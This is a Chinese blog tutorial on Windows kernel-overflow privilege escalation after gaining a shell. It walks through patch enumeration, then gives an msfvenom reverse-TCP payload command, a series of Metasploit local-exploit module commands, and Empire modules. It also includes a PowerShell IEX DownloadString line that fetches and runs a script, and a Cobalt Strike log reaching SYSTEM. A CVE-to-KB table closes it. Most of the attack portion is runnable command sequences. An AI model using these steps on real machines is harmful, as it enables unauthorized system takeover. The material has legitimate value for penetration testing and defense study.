系统内核溢出提权

2021-04-01 09:49:50 浏览数 (1)

文章前言

在后渗透测试阶段,权限提升是一个绕不开的话题,其中"系统内核溢出提权"因其利用便捷成为了最为常用的方法,在使用该方法提权时我们只需要去查看目标系统中打了那些系统补丁,之后去找补丁的"互补"补丁,并利用对应的提权类的漏洞实现权限提升,本篇文章主要围绕"系统内核溢出提权"的一些方法、思路进行简易介绍~

权限查看

在获取到目标系统的shell后,我们需要先确认以下当前用户以及用户权限,这一点可以通过在shell中输入"whoami"以及"whoami /groups"来确定:

代码语言:javascript复制
whoami
whoami /groups

从上面的显示结果可以看到当前用户为" win-op8vb0nlureal1ex",权限为"Mandatory LabelMedium Mandatory Level",而这里的"Mandatory LabelMedium Mandatory Level"是一个标准的普通用户权限,而我们再提权阶段要做得就是将此处的"Medium Mandatory Level"提升为"High Mandatory Level"。

补丁查询

利用系统溢出漏洞进行提权的关键是通过查看系统的补丁信息来找寻缺失的、可以利用来提权的补丁进行提权,下面介绍几种常见的补丁查询思路与方法

系统命令查看

在Windows操作系统中我们可以通过执行systeminfo来查看目标机器上安装的补丁信息:

代码语言:javascript复制
systeminfo

从上图可以看到这里安装了三个补丁:

  • [01]: KB2534111
  • [02]: KB2999226
  • [03]: KB976902

同时我们也可以通过WMIC来快速查看当前系统安装的补丁信息:

代码语言:javascript复制
wmic qfe get Caption,Description,HotFixID,InstalledOn

如果想要查询系统是否安装某一个特定的补丁,可以通过以下命令进行简易查询:

代码语言:javascript复制
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /c:"KB2534111" /c:"KB976902"

既然已经确定了当前系统的补丁信息,那么后续如何利用呢?当然是去查找缺失的、可以利用的补丁了!但是怎么找呢?不可能在茫茫大海中找吧?当然不是,这里推荐一个辅助网站:https://bugs.hacking8.com/tiquan/

我们可以在"补丁号"选项框中输入当前系统的补丁信息,之后进行查询来获取当前系统的缺失的、可以利用的补丁信息,这里以上面查询的补丁信息为例:

之后可以根据补丁来推荐相关的漏洞利用EXP,不过在使用EXP时还需要主要影响的操作系统:

关于提权类的EXP,这里推荐一个项目:https://github.com/Al1ex/WindowsElevation

该项目源自SecWiki维护的Windows-kernel-exploit,但是由于原作者不再更新与维护所以后期由笔者重新进行构建维护,同时也涵盖了Bypass UAC系列,目前还在不断的更新与完善中,同时该项目也主要用于收集网络上公开的各大有价值的漏洞EXP/POC~

MSF框架查看

MSF框架中自带提权辅助功能模块——post/windows/gather/enum_pathes,该模块会根据漏洞编号快速查找目标系统中的补丁信息,下面以目标主机为例做一个简单的演示:

首先,我们需要获取目标主机的一个Shell,这里我们再测试环境中直接通过MSFvenom来生成Payload:

代码语言:javascript复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.188.129 LPORT=4444 -f exe > shell.exe

之后在MSF中设置监听:

之后再目标主机中执行EXE

之后成功返回会话:

之后在Meterpreter中执行如下命令即可查看系统补丁信息(老版本的会给出可用的EXP,MSF5好像不提供了):

代码语言:javascript复制
run post/windows/gather/enum_patches

于此同时,我们也可以通过执行以下命令来查看目标系统可用的漏洞,之后探寻提权EXP:

代码语言:javascript复制
run post/multi/recon/local_exploit_suggester

其他一些常见的模块例如:

Windows ClientCopyImage Win32k Exploit:

Windows内核模式驱动程序中的漏洞可能允许特权提升,此模块利用win32k.sys内核模式驱动程序中不正确的对象处理,此模块已在Windows 7 x64和x86、Windows 2008 r2 sp1 x64的易受攻击版本上进行了测试

代码语言:javascript复制
use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit

Windows TrackPopupMenu Win32k NULL Pointer Dereference:

此模块已在Windows xp sp3、Windows server 2003 sp2、Windows 7 sp1、Windows server 2008 r2位和Windows server 2008 r2 sp1 64位上进行了测试

代码语言:javascript复制
use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit

Windows SYSTEM Escalation via KiTrap0D:

代码语言:javascript复制
use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit

Windows Escalate Task Scheduler XML Privilege Escalation:

代码语言:javascript复制
use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit

MS16-016 mrxdav.sys WebDav Local Privilege Escalation:

代码语言:javascript复制
use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit

EPATHOBJ::pprFlattenRec Local Privilege Escalation:

代码语言:javascript复制
use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit

MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow:

代码语言:javascript复制
use exploit/windows/local/ms13_053_ schlamperei
set lhost 192.168.1.107
set session 1
exploit

MS16-032 Secondary Logon Handle Privilege Escalation:

代码语言:javascript复制
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit

Empire内置模块

Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法,下面进行简单演示:

代码语言:javascript复制
usemodule privesc/powerup/allchecks
execute

PS:总体来看效果不是很理想,不如MSF~

PowerShell脚本

Sherlock(https://github.com/rasta-mouse/Sherlock)是一个在Windows下用于本地提权的PowerShell脚本,目前包含了以下漏洞:

  • MS10-015 : User Mode to Ring (KiTrap0D)
  • MS10-092 : Task Scheduler
  • MS13-053 : NTUserMessageCall Win32k Kernel Pool Overflow
  • MS13-081 : TrackPopupMenuEx Win32k NULL Page
  • MS14-058 : TrackPopupMenu Win32k Null Pointer Dereference
  • MS15-051 : ClientCopyImage Win32k
  • MS15-078 : Font Driver Buffer Overflow
  • MS16-016 : 'mrxdav.sys' WebDAV
  • MS16-032 : Secondary Logon Handle
  • MS16-034 : Windows Kernel-Mode Drivers EoP
  • MS16-135 : Win32k Elevation of Privilege
  • CVE-2017-7199 : Nessus Agent 6.6.2 - 6.10.3 Priv Esc

该工具的利用也是较为简单,首先下载项目到本地,之后再终端调用Sherlock(获取webshell的主机中直接上传即可):

代码语言:javascript复制
Import-Module .Sherlock.ps1

当然也可以远程加载:

代码语言:javascript复制
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')

之后执行以下命令来列举当前系统中所有可利用的漏洞:

代码语言:javascript复制
Find-AllVulns

当然你也可以搜索某一个特定漏洞,例如:

代码语言:javascript复制
Find-CVE20177199

根据Sherlock的说明目前CS已经可以实现" 导入模块——>查询单一漏洞——>直接提权 "的一套流程了,下面是Github中的实例:

代码语言:javascript复制
beacon> getuid
[*] Tasked beacon to get userid
[ ] host called home, sent: 20 bytes
[*] You are Win7-x64Rasta

beacon> powershell-import C:UsersRastaDesktopSherlock.ps1
[*] Tasked beacon to import: C:UsersRastaDesktopSherlock.ps1
[ ] host called home, sent: 2960 bytes

beacon> powershell Find-MS14058
[*] Tasked beacon to run: Find-MS14058
[ ] host called home, sent: 20 bytes
[ ] received output:

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Appears Vulnerable

beacon> elevate ms14-058 smb
[*] Tasked beacon to elevate and spawn windows/beacon_smb/bind_pipe (127.0.0.1:1337)
[ ] host called home, sent: 105015 bytes
[ ] received output:
[*] Getting Windows version...
[*] Solving symbols...
[*] Requesting Kernel loaded modules...
[*] pZwQuerySystemInformation required length 51216
[*] Parsing SYSTEM_INFO...
[*] 173 Kernel modules found
[*] Checking module SystemRootsystem32ntoskrnl.exe
[*] Good! nt found as ntoskrnl.exe at 0x0264f000
[*] ntoskrnl.exe loaded in userspace at: 40000000
[*] pPsLookupProcessByProcessId in kernel: 0xFFFFF800029A21FC
[*] pPsReferencePrimaryToken in kernel: 0xFFFFF800029A59D0
[*] Registering class...
[*] Creating window...
[*] Allocating null page...
[*] Getting PtiCurrent...
[*] Good! dwThreadInfoPtr 0xFFFFF900C1E7B8B0
[*] Creating a fake structure at NULL...
[*] Triggering vulnerability...
[!] Executing payload...

[ ] host called home, sent: 204885 bytes
[ ] established link to child beacon: 192.168.56.105

beacon> getuid
[*] Tasked beacon to get userid
[ ] host called home, sent: 8 bytes
[*] You are NT AUTHORITYSYSTEM (admin)

PS:关于该Powershell的利用还有很多单一漏洞的查询,读者可以根据源码进行分析~

Windows Exploit Suggester

工具介绍

Windows-Exploit-Suggester(https://github.com/GDSSecurity/Windows-Exploit-Suggester )是受Linux_Exploit_Suggester的启发而开发的一款提权辅助工具,,它是用python开发而成,运行环境是python3.3及以上版本,且必须安装xlrd,其主要功能是通过比对systeminfo生成的文件,从而发现系统是否存在未修复漏洞。

工具原理

Windows-Exploit-Suggester通过下载微软公开漏洞库到本地“生成日期 mssb.xls”文件,然后根据操作系统版本,跟systeminfo生成的文件进行比对。微软公开漏洞库下载地址:http://www.microsoft.com/en-gb/download/confirmation.aspx?id=36982 。同时此工具还会告知用户针对于此漏洞是否有公开的exp和可用的Metasploit模块。

工具安装

安装依赖xlrd:

代码语言:javascript复制
pip install xlrd

之后下载Windows-Exploit-Suggester项目到本地:

代码语言:javascript复制
git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester

更新漏洞库

之后执行以下命令,自动从微软官网下载安全公告数据库,下载的文件会自动保存在当前目录下:

代码语言:javascript复制
./windows-exploit-suggester.py --update

获取系统信息

之后在目标系统中获取systeminfo信息并将其保存到一个txt文件夹中:

代码语言:javascript复制
systeminfo > sysinfo.txt

系统漏洞检索

之后将目标系统中的sysinfo.txt文件复制出来,到安装有Windows-Exploit-Suggester的主机上去执行如下命令,查询系统中存在的可用漏洞信息,这里的参数d为指定漏洞库,也就是之前跟新漏洞库后的xlsx文件:

代码语言:javascript复制
./windows-exploit-suggester.py -d 2020-09-09-mssb.xls -i sysinfo.txt

总体上效果还不错,挺让人满意的,不过该工具也有一个缺点——更新数据库后下载的数据库最新的2017年的,有点局限

补丁列表

最后给出一个常用的补丁列表信息,可能数据有点成旧哈~

CVE ID

MS ID

KB

Operating System

CVE-2003-0352

MS03-026

KB823980

Windows 2003/XP/2000/NT 4.0/Server 2003

CVE-2005-1983

MS05-039

KB899588

Windows 2000/XP SP1/Server 2003

CVE-2006-3439

MS06-040

KB921883

Windows 2000/XP/Server 2003

CVE-2008-1084

MS08-025

KB941693

Windows 2000/XP/Server 2003/Vista SP1/Server 2008

CVE-2008-3464

MS08-066

KB910723

Windows XP/Server 2003

CVE-2008-4037

MS08-068

KB887429

Windows XP/Server 2000/Vista/Server 2008

CVE-2008-4250

MS08-067

KB958644

Windows XP/Vista/Server 2000 2003 2008

CVE-2009-0079

MS09-012

KB956572

Windows XP/Server 2000 2003 2008/Vista

CVE-2009-1535

MS09-020

KB970483

Windows XP/Server 2000 2003

CVE-2009-2532

MS09-050

KB975517

Windows Vista/Server 2008

CVE-2010-0020

MS10-020

KB980232

Windows XP/2000/2003/2008/2008 R2/Vista/7

CVE-2010-0232

MS10-015

KB977165

Windows 2000/XP/2003/Vista/2008/7

CVE-2010-1887

MS10-048

KB2160329

Windows XP/2003/2008/7/Vista

CVE-2010-1899

MS10-065

KB2271195

Windows XP/2003/2008/7/Vista

CVE-2010-2554

MS10-059

KB982799

Window Vista/2008/7

CVE-2010-3338

MS10-092

KB2305420

Windows Vista/7/2008

CVE-2010-4398

MS11-011

KB2393802

Windows XP/Server 2003/Vsita/2008/7

CVE-2011-1249

MS11-046

KB2503665

Windows XP/2003/2008

CVE-2011-1974

MS11-062

KB2566454

Windows XP/2003

CVE-2011-2005

MS11-080

KB2592799

Windows XP/Server 2003

CVE-2012-0002

MS12-020

KB2621440

Winodws XP/2003/2008/Vista/7

CVE-2013-0008

MS13-005

KB2778930

Windows Vista/2008/2012/7/8/RT

CVE-2013-1300

MS13-053

KB2850851

Windows XP/2003/2008/2012/7/8

CVE-2013-1332

MS13-046

KB2829361

Windows XP/2003/2008/2012/7/8/RT

CVE-2013-5065

MS14-002

KB2914368

Windows XP/2003

CVE-2014-1767

MS14-040

KB2961072

Windows XP/2003/2008/2012/7/8/RT/Vista

CVE-2014-2814

MS14-042

KB2972621

Windows Server 2008/2012

CVE-2014-4076

MS14-070

Windows 2003

CVE-2014-4113

MS14-058

KB3000061

Windows 2003/2008/2012/Vista/7/RT

CVE-2014-6321

MS14-066

Windows server 2003/2008/2012/Vista/7

CVE-2014-6324

MS14-068

Windows 2003/2008/2012/Vista/7/8

CVE-2015-0002

MS15-001

Windows 7/8/2008/2012/

CVE-2015-0057

MS15-010

Windows 2003/2008/2012/vista/7/8/RT

CVE-2015-0062

MS15-015

Windows 7/8/2008/2012/RT

CVE-2015-0097

MS15-022

Microsoft Office 2007/2010/2013/RT

CVE-2015-1701

MS15-051

KB3065979

WIndows 2003/2008/2012/Vista/7/8

CVE-2015-1726

MS15-061

WIndows 2003/2008/2012/Vista/7/8

CVE-2015-2370

MS15-076

WIndows 2003/2008/2012/Vista/7/8

CVE-2015-2387

MS15-077

WIndows 2003/2008/2012/Vista/7/8

CVE-2015-2517

MS15-097

KB3081455

Windows 2003/2008/2012/Vista/RT/7/8/10

CVE-2016-0040

MS16-014

KB3135174

Windows 2003/2008/2012/Vista/RT/7/8/10

CVE-2016-0051

MS16-016

KB3135173

Windows 2003/2008/2012/Vista/RT/7/8/10

CVE-2016-0093

MS16-034

KB3140745

Windows 2003/2008/2012/Vista/RT/7/8/10

CVE-2016-0099

MS16-032

KB3140768

Windows 2003/2008/2012/Vista/RT/7/8/10

CVE-2016-3225

MS16-075

KB3163017

Windows 2003/2008/2012/Vista/RT/7/8/10

CVE-2016-3305

MS16-111

KB3185611

Windows 2008/2012/Vista/RT/7/8/10

CVE-2016-3308

MS16-098

KB3176492

Windows 2008/2012/Vista/RT/7/8/10

CVE-2016-7214

MS16-135

KB3198234

Windows Vista/2008/2012/2016/7/8

CVE-2017-0050

MS17-017

KB4011981

Windows Vista/2008/2012/2016/7/8/10

CVE-2017-0143

MS17-010

Windows Vista/2008/2012/2016/7/8/10

CVE-2017-0213

KB4038788

Windows Vista/2008/2012/2016/7/8/10

CVE-2017-8464

KB4022727

Windows Vista/2008/2012/2016/7/8/10

CVE-2018-0833

KB4074594

Windows 8/2012 R2/RT

CVE-2018-8120

KB4103718

Windows 2008/2008 R2/7

CVE-2019-0803

KB4493471

Windows Vista/2008/2012/2016/2019/7/8/10

CVE-2019-0863

KB4494440

Windows 2008/7/8/10

CVE-2019-1253

KB4515384

Windows 10 1903/1709/1803/1703

CVE-2019-1405

KB4525235

Windows 2008/2012/2016/2019/7/8/10

CVE-2020-0668

KB4532693

Windows 2008/2012/2016/2019/7/8/10

CVE-2020-0683

KB4532691

Windows 2008/2012/2016/2019/7/8/10

CVE-2020-0787

KB4541505

Windows 2008/2012/2016/2019/7/8/10

CVE-2020-0796

KB4499165

Windows 10 1909/1903/

CVE-2020-1054

KB4556826

Windows 2008/2012/7/8/10

CVE-2020-1066

KB4552965

Microsoft .NET Framework 3.5.1/3.0

CVE-2020-1337

KB4571694

Windows 2012/7/10

CVE-2020-1362

KB4565503

Windows 10 1903/1809/1607/2004/1709

0 人点赞